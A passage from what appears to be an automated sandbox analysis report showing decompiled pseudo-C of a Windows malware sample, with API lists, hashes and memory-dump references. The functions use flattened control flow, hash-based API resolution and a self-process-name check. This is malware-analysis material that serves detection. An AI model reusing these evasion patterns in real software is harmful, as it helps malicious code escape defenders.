					 *_t9(_t68);
					goto L34;
				} else {
					if(_t8 != 0x3a61ec4d) {
						goto L29;
					} else {
						_t14 =  *0x40dcac;
						if(_t14 == 0) {
							_t14 = E00403DA0(_t38, E00403E40(0xef98c369), 0x1f694480, _t69);
							 *0x40dcac = _t14;
						}
						 *_t14(0,  &_v520, 0x104);
						_t16 =  *0x40e190;
						if(_t16 == 0) {
							_t16 = E00403DA0(_t38, E00403E40(0x2198b54b), 0x2b6136bc, _t69);
							 *0x40e190 = _t16;
						}
						 *((short*)( *_t16( &_v532))) = 0;
						_t8 = 0x100961ed;
						goto L1;
					}
				}
				goto L35;
			}

0x00409867
0x0040986b
0x00409880
0x00409880
0x00409880
0x00409885
0x00000000
0x00000000
0x0040988b
0x004099b4
0x00000000
0x00409891
0x00409896
0x0040995a
0x00409961
0x00409965
0x0040996a
0x00409970
0x00409983
0x00409988
0x00409988
0x0040998d
0x0040998f
0x00409995
0x00409996
0x0040999e
0x00409a7c
0x00409a85
0x004099a4
0x004099ac
0x00000000
0x004099ac
0x0040989c
0x004098a1
0x00409927
0x00000000
0x00409929
0x00409929
0x00409930
0x00409943
0x00409948
0x00409948
0x0040994e
0x00000000
0x0040994e
0x00000000
0x004098a3
0x004098a8
0x00409a3c
0x00409a41
0x00000000
0x00409a48
0x00409a51
0x00409a51
0x004098ae
0x004098b5
0x004098cd
0x004098cd
0x004098db
0x004098dd
0x004098e6
0x00409950
0x00409950
0x004098e8
0x004098e8
0x004098e8
0x004098ef
0x00409902
0x00409907
0x00409907
0x0040990c
0x00409914
0x00409916
0x00409916
0x00000000
0x004098e6
0x004098a8
0x004098a1
0x00409896
0x00000000
0x0040988b
0x004099c3
0x00409a54
0x00409a5b
0x00409a6e
0x00409a73
0x00409a73
0x00409a79
0x00000000
0x004099c9
0x004099ce
0x00000000
0x004099d0
0x004099d0
0x004099d7
0x004099ea
0x004099ef
0x004099ef
0x00409a00
0x00409a02
0x00409a09
0x00409a1c
0x00409a21
0x00409a21
0x00409a2f
0x00409a32
0x00000000
0x00409a32
0x004099ce
0x00000000

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 004098DB

Strings

Ma:, xrefs: 004099C9
Ma:, xrefs: 004099B4

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID: Ma:$Ma:
API String ID: 1065410024-930586552
Opcode ID: 7fe67d1e3a78581b6720c7cd08d4c480ddc454ae2a8284bb55ee8cd451409d67
Instruction ID: efcd84dc54df3b7edf5c194e51607c4c766cb2d7d7208cfdfee3cc773c200715
Opcode Fuzzy Hash: 7fe67d1e3a78581b6720c7cd08d4c480ddc454ae2a8284bb55ee8cd451409d67
Instruction Fuzzy Hash: 3241A0707102008BDA58AFBA9951A7B3695ABC4704F04493FF555FB3D2EA3CCD058B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0115BBA6, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0115BBA6(void* __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t66;
				signed int _t74;
				signed int _t76;
				void* _t78;
				signed int _t80;
				signed int _t86;
				signed int _t89;
				intOrPtr _t92;
				signed int _t104;
				signed int* _t105;
				signed int* _t106;
				void* _t108;
				signed int _t110;
				void* _t111;
				void* _t112;

				_push(0x30);
				E0115626C(E0115ECF5, __ebx, __edi, __esi);
				_t108 = __ecx;
				_t86 =  *(_t111 + 8);
				_t110 = __esi | 0xffffffff;
				if(_t86 != _t110) {
					_t89 =  *( *(__ecx + 0x20));
					__eflags = _t89;
					if(_t89 == 0) {
						L6:
						__eflags =  *(_t108 + 0x50);
						if( *(_t108 + 0x50) == 0) {
							L34:
							L35:
							return E0115622A(_t86, _t108, _t110);
						}
						E0115B985(_t108);
						__eflags =  *(_t108 + 0x40);
						if(__eflags != 0) {
							 *(_t111 - 0x34) = _t86;
							 *((intOrPtr*)(_t111 - 0x14)) = 0xf;
							 *((intOrPtr*)(_t111 - 0x18)) = 0;
							 *(_t111 - 0x28) = 0;
							E0115BA50(_t86, _t111 - 0x28, _t110, 8, 0);
							_t14 = _t111 - 4;
							 *_t14 =  *(_t111 - 4) & 0x00000000;
							__eflags =  *_t14;
							while(1) {
								L11:
								_t66 =  *(_t111 - 0x28);
								_t92 =  *((intOrPtr*)(_t111 - 0x14));
								 *(_t111 - 0x30) = _t66;
								while(1) {
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										_t66 = _t111 - 0x28;
									}
									 *(_t111 - 0x2c) = _t66;
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										 *(_t111 - 0x30) = _t111 - 0x28;
									}
									_t74 =  *((intOrPtr*)( *( *(_t108 + 0x40)) + 0x1c))(_t108 + 0x48, _t111 - 0x34, _t111 - 0x33, _t111 - 0x3c,  *(_t111 - 0x30),  *((intOrPtr*)(_t111 - 0x18)) +  *(_t111 - 0x2c), _t111 - 0x38);
									_t86 =  *(_t111 + 8);
									__eflags = _t74;
									if(_t74 < 0) {
										break;
									}
									__eflags = _t74 - 1;
									if(_t74 > 1) {
										__eflags = _t74 - 3;
										if(__eflags != 0) {
											break;
										}
										_t76 = E0115B3C6(__eflags,  *(_t111 - 0x34),  *(_t108 + 0x50));
										__eflags = _t76;
										if(_t76 == 0) {
											break;
										}
										L32:
										_t110 = _t86;
										break;
									}
									_t92 =  *((intOrPtr*)(_t111 - 0x14));
									_t66 =  *(_t111 - 0x28);
									 *(_t111 - 0x30) = _t66;
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										 *(_t111 - 0x2c) = _t111 - 0x28;
									} else {
										 *(_t111 - 0x2c) = _t66;
									}
									_t104 =  *((intOrPtr*)(_t111 - 0x38)) -  *(_t111 - 0x2c);
									__eflags = _t104;
									 *(_t111 - 0x2c) = _t104;
									if(_t104 == 0) {
										L26:
										 *((char*)(_t108 + 0x45)) = 1;
										__eflags =  *((intOrPtr*)(_t111 - 0x3c)) - _t111 - 0x34;
										_t86 =  *(_t111 + 8);
										if( *((intOrPtr*)(_t111 - 0x3c)) != _t111 - 0x34) {
											goto L32;
										}
										__eflags = _t104;
										if(_t104 != 0) {
											continue;
										}
										__eflags =  *((intOrPtr*)(_t111 - 0x18)) - 0x20;
										if( *((intOrPtr*)(_t111 - 0x18)) >= 0x20) {
											break;
										}
										_push(_t104);
										E0115B9EF(_t66, _t111 - 0x28, _t110, 8);
										goto L11;
									} else {
										__eflags = _t92 - 0x10;
										if(__eflags < 0) {
											_t66 = _t111 - 0x28;
										}
										_push( *(_t108 + 0x50));
										_push(_t104);
										_push(1);
										_push(_t66);
										_t78 = E0115CCB7(_t86, _t108, _t110, __eflags);
										_t104 =  *(_t111 - 0x2c);
										_t112 = _t112 + 0x10;
										__eflags = _t104 - _t78;
										if(_t104 != _t78) {
											break;
										} else {
											_t66 =  *(_t111 - 0x28);
											_t92 =  *((intOrPtr*)(_t111 - 0x14));
											 *(_t111 - 0x30) = _t66;
											goto L26;
										}
									}
								}
								E01146E30(_t111 - 0x28, 1, 0);
								goto L34;
							}
						}
						_t80 = E0115B3C6(__eflags, _t86,  *(_t108 + 0x50)); // executed
						__eflags = _t80;
						if(_t80 == 0) {
							_t86 = _t110;
						}
						L5:
						goto L35;
					}
					_t105 =  *(__ecx + 0x30);
					__eflags = _t89 -  *_t105 + _t89;
					if(_t89 >=  *_t105 + _t89) {
						goto L6;
					}
					 *_t105 =  *_t105 - 1;
					__eflags =  *_t105;
					_t106 =  *(__ecx + 0x20);
					_t110 =  *_t106;
					 *_t106 = _t110 + 1;
					 *_t110 = _t86;
					goto L5;
				}
				goto L35;
			}

Strings

, xrefs: 0115BCEF

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9f7c186c19aad54b5c996f6d654b3059a0e0d54a99b2298ef885847d255efa01
Instruction ID: f4a3536582f94d95f531226b81e97feaa399f6d64e1f56f0c61235d589ecc27a
Opcode Fuzzy Hash: 9f7c186c19aad54b5c996f6d654b3059a0e0d54a99b2298ef885847d255efa01
Instruction Fuzzy Hash: 40516E75A0820AEFDF5DDFA8C4909EDBBB6BF08314F144029DD21A7641D731A584CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405B40, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00405B40(void* __ecx, void* __edx, void* __ebp) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __ebx;
				intOrPtr* _t3;
				intOrPtr _t5;
				void* _t6;
				intOrPtr* _t9;
				void* _t20;
				void* _t21;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;

				_t42 = __ebp;
				_t3 =  *0x40dddc;
				_t20 = __ecx;
				_t38 = __edx;
				if(_t3 == 0) {
					_t3 = E00403DA0(_t20, E00403E40(0xef98c369), 0x1d0c230b, __ebp);
					 *0x40dddc = _t3;
				}
				_t40 =  *_t3();
				_t5 =  *0x40e170; // 0x77e34620
				if(_t5 == 0) {
					 *0x40e170 = E00403DA0(_t20, E00403E40(0xef98c369), 0xfd509da7, _t42);
				}
				_t6 = RtlAllocateHeap(_t40, 8, 0x40000); // executed
				_t41 = _t6;
				if(_t41 == 0) {
					return 0;
				} else {
					_push(_t41);
					_push(_v0);
					_push(_v4);
					_t21 = E00405800(_t20, _t38);
					_t9 =  *0x40dddc;
					if(_t9 == 0) {
						_t9 = E00403DA0(_t21, E00403E40(0xef98c369), 0x1d0c230b, _t42);
						 *0x40dddc = _t9;
					}
					_t39 =  *_t9();
					if( *0x40dcc4 == 0) {
						 *0x40dcc4 = E00403DA0(_t21, E00403E40(0xef98c369), 0x32b05876, _t42);
					}
					RtlFreeHeap(_t39, 0, _t41); // executed
					return _t21;
				}
			}

0x00405b40
0x00405b40
0x00405b46
0x00405b4a
0x00405b4e
0x00405b61
0x00405b66
0x00405b66
0x00405b6d
0x00405b6f
0x00405b76
0x00405b8e
0x00405b8e
0x00405b9b
0x00405b9d
0x00405ba1
0x00405c17
0x00405ba3
0x00405ba3
0x00405ba4
0x00405bac
0x00405bb5
0x00405bba
0x00405bc1
0x00405bd4
0x00405bd9
0x00405bd9
0x00405be0
0x00405be9
0x00405c01
0x00405c01
0x00405c0a
0x00405c11
0x00405c11

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 00405B9B
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 00405C0A

Strings

Fw, xrefs: 00405B6F, 00405B8E

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: Fw
API String ID: 2488874121-3200898389
Opcode ID: 86feab21daf387db058d65406739c81a48014c621975e896b87808a2ad04816b
Instruction ID: 81f8f3bf91a15b2ced5136e3372c2507c9b01a4b611b3b2f7b4683842b70d904
Opcode Fuzzy Hash: 86feab21daf387db058d65406739c81a48014c621975e896b87808a2ad04816b
Instruction Fuzzy Hash: F611B130B007004BDB54AFBA9D40A2B3AEAAFC8615B04443FF105EB3D1EA3CDC064B99

Uniqueness

Uniqueness Score: -1.00%

Function 00E5002D, Relevance: 4.9, APIs: 3, Instructions: 387memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,00E50005), ref: 00E500E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00E50005), ref: 00E50111

Memory Dump Source

Source File: 00000001.00000002.467934925.0000000000E50000.00000040.00000001.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e50000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 614f71396434bb6fa854827d374189444613072c538d3232b4f0bad1948ce5cf
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 9CD1E171A047068FD724CF29C88476AB3E1FF8431AF18592DFD95AB281E774E849CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: 4.6, APIs: 3, Instructions: 95
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409A90(void* __ebp) {
				short _v520;
				short _v1040;
				char _v1044;
				void* __ebx;
				void* _t7;
				intOrPtr* _t9;
				intOrPtr* _t43;
				void* _t46;
				void* _t49;

				_t46 = __ebp;
				_t7 = 0x335915ad;
				goto L1;
				do {
					while(1) {
						L1:
						_t49 = _t7 - 0x2b24c935;
						if(_t49 > 0) {
							break;
						}
						if(_t49 == 0) {
							_t9 =  *0x40dcac;
							if(_t9 == 0) {
								_t9 = E00403DA0(0, E00403E40(0xef98c369), 0x1f694480, _t46);
								 *0x40dcac = _t9;
							}
							 *_t9(0,  &_v520, 0x104);
							_t7 = 0x12df3dac;
							continue;
						} else {
							if(_t7 == 0x12df3dac) {
								_v1044 = 0x104;
								if( *0x40dff4 == 0) {
									 *0x40dff4 = E00403DA0(0, E00403E40(0xef98c369), 0x37259202, _t46);
								}
								_t43 =  *0x40dbec;
								if(_t43 == 0) {
									_t43 = E00403DA0(0, E00403E40(0xef98c369), 0xc49ddb07, _t46);
									 *0x40dbec = _t43;
								}
								 *_t43(GetCurrentProcess(), 0,  &_v1040,  &_v1044); // executed
								_t7 = 0x1c001d42;
								continue;
							} else {
								if(_t7 == 0x1c001d42) {
									if( *0x40dedc == 0) {
										 *0x40dedc = E00403DA0(0, E00403E40(0xef98c369), 0xdf5c2fa1, _t46);
									}
									lstrcmpiW( &_v520,  &_v1040); // executed
									_t26 =  !=  ? 1 : 0;
									return  !=  ? 1 : 0;
								} else {
									goto L5;
								}
							}
						}
						L20:
					}
					if(_t7 != 0x335915ad) {
						goto L5;
					} else {
						_t7 = 0x2b24c935;
						goto L1;
					}
					goto L20;
					L5:
				} while (_t7 != 0x1018a955);
				return 0;
				goto L20;
			}

0x00409a90
0x00409a96
0x00409a9e
0x00409aa0
0x00409aa0
0x00409aa0
0x00409aa0
0x00409aa5
0x00000000
0x00000000
0x00409aab
0x00409b49
0x00409b50
0x00409b63
0x00409b68
0x00409b68
0x00409b7c
0x00409b7e
0x00000000
0x00409ab1
0x00409ab6
0x00409adc
0x00409ae6
0x00409b00
0x00409b00
0x00409b06
0x00409b0e
0x00409b26
0x00409b28
0x00409b28
0x00409b3d
0x00409b3f
0x00000000
0x00409ab8
0x00409abd
0x00409ba4
0x00409bbc
0x00409bbc
0x00409bce
0x00409bd8
0x00409be5
0x00000000
0x00000000
0x00000000
0x00409abd
0x00409ab6
0x00000000
0x00409aab
0x00409b8d
0x00000000
0x00409b93
0x00409b93
0x00000000
0x00409b93
0x00000000
0x00409ac3
0x00409ac3
0x00409ad5
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 00409B3A
QueryFullProcessImageNameW.KERNELBASE(00000000), ref: 00409B3D
lstrcmpiW.KERNELBASE(?,?,0DFA437B,?), ref: 00409BCE

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuerylstrcmpi
String ID:
API String ID: 3605714105-0
Opcode ID: 8d584f6999e260a1b05c5087d9af8a09c3f06bd23cab9f0cb5c3fd20d0179e56
Instruction ID: d511dac0376767a850e583b61ccd177521ff0e508742785b3e87e14154aa5d9b
Opcode Fuzzy Hash: 8d584f6999e260a1b05c5087d9af8a09c3f06bd23cab9f0cb5c3fd20d0179e56
Instruction Fuzzy Hash: EA314731B142404BDB289FA9AD40A6B36E9ABC8724F40443FF542EB3C2D97CDD058B99

Uniqueness

Uniqueness Score: -1.00%

Function 00403060, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166
memoryCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00403060() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t48;
				intOrPtr* _t56;
				void* _t59;
				intOrPtr _t77;
				intOrPtr* _t79;
				intOrPtr _t81;
				intOrPtr* _t109;
				void* _t112;
				void* _t113;
				intOrPtr _t114;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t77 =  *((intOrPtr*)(_t120 + 0xc));
				_t48 = 0x1678cae6;
				_t119 =  *(_t120 + 0x10);
				_t114 =  *((intOrPtr*)(_t120 + 0x14));
				_t112 =  *(_t120 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t121 = _t48 - 0x1c8aa9bb;
							if(_t121 <= 0) {
								break;
							}
							if(_t48 == 0x2eb62843) {
								_t77 = E00403C80(_t114);
								_t48 = 0xa2b24ca;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t48 == 0x302181a1) {
									_t79 =  *0x40dd34;
									if(_t79 == 0) {
										_t79 = E00403DA0(_t77, E00403E40(0x2198b54b), 0xe3fa6098, _t119);
										 *0x40dd34 = _t79;
									}
									_t114 =  *_t79(_t119 + 0x2c);
									_t48 = 0x2eb62843;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									if(_t48 != 0x37911128) {
										goto L20;
									} else {
										if(_t77 !=  *(_t120 + 0x10)) {
											L29:
											return 1;
										} else {
											_t48 = 0x1c8aa9bb;
											continue;
										}
									}
								}
							}
							L30:
						}
						if(_t121 == 0) {
							_t56 =  *0x40dddc;
							if(_t56 == 0) {
								_t56 = E00403DA0(_t77, E00403E40(0xef98c369), 0x1d0c230b, _t119);
								 *0x40dddc = _t56;
							}
							_t113 =  *_t56();
							if( *0x40e170 == 0) {
								 *0x40e170 = E00403DA0(_t77, E00403E40(0xef98c369), 0xfd509da7, _t119);
							}
							_t59 = RtlAllocateHeap(_t113, 8, 0x220); // executed
							_t112 = _t59;
							if(_t112 == 0) {
								goto L29;
							} else {
								_t48 = 0xc4bec5c;
								goto L1;
							}
						} else {
							if(_t48 == 0xa2b24ca) {
								_t48 =  ==  ? 0x1c8aa9bb : 0x37911128;
								goto L2;
							} else {
								if(_t48 == 0xc4bec5c) {
									_t109 =  *0x40e0c4;
									if(_t109 == 0) {
										_t109 = E00403DA0(_t77, E00403E40(0xef98c369), 0x4f542ebe, _t119);
										 *0x40e0c4 = _t109;
									}
									 *_t109(_t112, _t119 + 0x2c, (_t114 - _t119 - 0x2c >> 1) + 1);
									_t81 =  *((intOrPtr*)(_t120 + 0x1c));
									 *(_t112 + 0x21c) =  *(_t81 + 4);
									 *((intOrPtr*)(_t81 + 0x14)) =  *((intOrPtr*)(_t81 + 0x14)) + 1;
									 *(_t81 + 4) = _t112;
									goto L29;
								} else {
									if(_t48 != 0x1678cae6) {
										goto L20;
									} else {
										 *(_t120 + 0x10) = 0x2f9d;
										 *(_t120 + 0x10) =  *(_t120 + 0x10) << 2;
										 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0x54e1d054;
										 *(_t120 + 0x10) = ( *(_t120 + 0x10) << 6) +  *(_t120 + 0x10);
										 *(_t120 + 0x10) = ( *(_t120 + 0x10) - (0xc0e07039 *  *(_t120 + 0x10) >> 0x20) >> 1) + (0xc0e07039 *  *(_t120 + 0x10) >> 0x20) >> 6;
										 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0xf00f7ee2;
										 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0x7f8d8dc5;
										 *(_t120 + 0x18) = 0xe4f6;
										 *(_t120 + 0x18) =  *(_t120 + 0x18) | 0x7d2e4f84;
										 *(_t120 + 0x18) = ( *(_t120 + 0x18) << 4) -  *(_t120 + 0x18) + ( *(_t120 + 0x18) << 4) -  *(_t120 + 0x18);
										 *(_t120 + 0x18) =  *(_t120 + 0x18) + 0xffff25d1;
										 *(_t120 + 0x18) =  *(_t120 + 0x18) + 0xc621;
										 *(_t120 + 0x18) =  *(_t120 + 0x18) * 0x25;
										_t48 = 0x302181a1;
										 *(_t120 + 0x18) =  *(_t120 + 0x18) * 8 -  *(_t120 + 0x18) << 3;
										 *(_t120 + 0x18) =  *(_t120 + 0x18) ^ 0x99b49926;
										while(1) {
											L1:
											goto L2;
										}
									}
								}
							}
						}
						goto L30;
						L20:
					} while (_t48 != 0x10a245cf);
					return 1;
					goto L30;
				}
			}

0x00403062
0x00403066
0x0040306c
0x00403071
0x00403076
0x0040307a
0x0040307a
0x00403080
0x00403080
0x00403080
0x00403080
0x00403085
0x00000000
0x00000000
0x004031e6
0x00403263
0x00403265
0x0040307a
0x0040307a
0x00000000
0x0040307a
0x004031e8
0x004031ed
0x00403222
0x0040322a
0x00403242
0x00403244
0x00403244
0x00403250
0x00403252
0x0040307a
0x0040307a
0x00000000
0x0040307a
0x004031ef
0x004031f4
0x00000000
0x004031f6
0x004031fa
0x004032bd
0x004032c4
0x00403200
0x00403200
0x00000000
0x00403200
0x004031fa
0x004031f4
0x004031ed
0x00000000
0x004031e6
0x0040308b
0x00403177
0x0040317e
0x00403191
0x00403196
0x00403196
0x0040319d
0x004031a6
0x004031be
0x004031be
0x004031cb
0x004031cd
0x004031d1
0x00000000
0x004031d7
0x004031d7
0x00000000
0x004031d7
0x00403091
0x00403096
0x0040316f
0x00000000
0x0040309c
0x004030a1
0x0040326f
0x00403277
0x0040328f
0x00403291
0x00403291
0x004032a5
0x004032a7
0x004032ae
0x004032b4
0x004032b7
0x00000000
0x004030a7
0x004030ac
0x00000000
0x004030b2
0x004030b2
0x004030c1
0x004030c5
0x004030dd
0x004030f0
0x004030f4
0x004030fc
0x00403104
0x0040310c
0x00403121
0x00403125
0x0040312d
0x0040313a
0x0040314b
0x00403153
0x00403157
0x0040307a
0x0040307a
0x00000000
0x0040307a
0x0040307a
0x004030ac
0x004030a1
0x00403096
0x00000000
0x0040320a
0x0040320a
0x0040321f
0x00000000
0x0040321f

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000220), ref: 004031CB

Strings

Fw, xrefs: 004031BE

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: Fw
API String ID: 1279760036-3200898389
Opcode ID: 31c74f0df573a8d25bbb79ff654ece0ec9b36c6240c8a2a6086a472e13114b99
Instruction ID: 1b268b1ee70abf161efe73cc2579b1ba2f17c14e3bac4c215f366b6391e5d35d
Opcode Fuzzy Hash: 31c74f0df573a8d25bbb79ff654ece0ec9b36c6240c8a2a6086a472e13114b99
Instruction Fuzzy Hash: 21519131B043018BCB18CF69949456EBBE9ABD8345F10493FF456DB390DB38DA4A8796

Uniqueness

Uniqueness Score: -1.00%

Function 00409BF0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88
threadCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00409BF0(void* __ebx) {
				void* _t6;
				void* _t8;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t18;
				intOrPtr* _t20;
				void* _t24;
				intOrPtr _t26;
				intOrPtr* _t29;
				void* _t40;
				void* _t41;

				_t24 = __ebx;
				_t6 = 0x1795eb09;
				while(_t6 != 0x256c0cb) {
					if(_t6 == 0x9d3865b) {
						_t13 =  *0x40e13c;
						if(_t13 == 0) {
							_t13 = E00403DA0(_t24, E00403E40(0xef98c369), 0x16d59e97, _t41);
							 *0x40e13c = _t13;
						}
						_t14 =  *_t13(0, 0, 0, 0);
						_t29 =  *0x40e1e4; // 0xeb59c0
						 *_t29 = _t14;
						_t6 = 0x256c0cb;
						continue;
					} else {
						if(_t6 != 0x1795eb09) {
							if(_t6 != 0x33235fbe) {
								continue;
							} else {
								return 0 | _t26 != 0x00000000;
							}
						} else {
							_t18 =  *0x40dddc;
							if(_t18 == 0) {
								_t18 = E00403DA0(_t24, E00403E40(0xef98c369), 0x1d0c230b, _t41);
								 *0x40dddc = _t18;
							}
							_t40 =  *_t18();
							_t20 =  *0x40e170; // 0x77e34620
							if(_t20 == 0) {
								_t20 = E00403DA0(_t24, E00403E40(0xef98c369), 0xfd509da7, _t41);
								 *0x40e170 = _t20;
							}
							_t26 =  *_t20(_t40, 8, 0x40);
							 *0x40e1e4 = _t26;
							if(_t26 == 0) {
								L18:
								return 0 | _t26 != 0x00000000;
							} else {
								_t6 = 0x9d3865b;
								continue;
							}
						}
					}
				}
				if( *0x40de74 == 0) {
					 *0x40de74 = E00403DA0(_t24, E00403E40(0xef98c369), 0x64d610c8, _t41);
				}
				_t8 = CreateThread(0, 0, E00409860, 0, 0, 0);
				_t26 =  *0x40e1e4; // 0xeb59c0
				 *(_t26 + 0x3c) = _t8;
				goto L18;
			}

0x00409bf0
0x00409bf6
0x00409c00
0x00409c10
0x00409c9e
0x00409ca5
0x00409cb8
0x00409cbd
0x00409cbd
0x00409cca
0x00409ccc
0x00409cd2
0x00409cd4
0x00000000
0x00409c16
0x00409c1b
0x00409c8f
0x00000000
0x00409c95
0x00409c9d
0x00409c9d
0x00409c1d
0x00409c1d
0x00409c24
0x00409c37
0x00409c3c
0x00409c3c
0x00409c43
0x00409c45
0x00409c4c
0x00409c5f
0x00409c64
0x00409c64
0x00409c70
0x00409c72
0x00409c7a
0x00409d1c
0x00409d24
0x00409c80
0x00409c80
0x00000000
0x00409c80
0x00409c7a
0x00409c1b
0x00409c10
0x00409ce5
0x00409cfd
0x00409cfd
0x00409d11
0x00409d13
0x00409d19
0x00000000

APIs

CreateThread.KERNELBASE(00000000,00000000,00409860,00000000,00000000,00000000,33A6B453,00406695), ref: 00409D11

Strings

Fw, xrefs: 00409C45, 00409C64

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: Fw
API String ID: 2422867632-3200898389
Opcode ID: 1bff8ea6e717edd78cf7956caa730499ee45ebf31684386348a26bd9d3db84be
Instruction ID: 0425e685631dee93c0cc25733aea25b52f2e523b0291f5bbabba40eda067eb14
Opcode Fuzzy Hash: 1bff8ea6e717edd78cf7956caa730499ee45ebf31684386348a26bd9d3db84be
Instruction Fuzzy Hash: 42218D70B443005BEA689B769E16B2E36D5AB94B05F10483FB645FF3C1EA389D01878E

Uniqueness

Uniqueness Score: -1.00%

Function 00406CD0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00406CD0(signed int __edx) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				void* _t15;
				void* _t16;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t28 = __edx;
				_t30 = E00403480(_t16);
				if( *0x40dbac == 0) {
					 *0x40dbac = E00403DA0(_t15, E00403E40(0xef98c369), 0x861270ac, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x40e1dc; // 0xeb2740
				 *(_t17 + 0x10 + _t28 * 4) = _t6;
				_t7 =  *0x40dddc;
				if(_t7 == 0) {
					_t7 = E00403DA0(_t15, E00403E40(0xef98c369), 0x1d0c230b, _t31);
					 *0x40dddc = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x40dcc4;
				if(_t9 == 0) {
					_t9 = E00403DA0(_t15, E00403E40(0xef98c369), 0x32b05876, _t31);
					 *0x40dcc4 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x00406cd2
0x00406cd9
0x00406ce2
0x00406cfa
0x00406cfa
0x00406d00
0x00406d02
0x00406d08
0x00406d0c
0x00406d13
0x00406d26
0x00406d2b
0x00406d2b
0x00406d32
0x00406d34
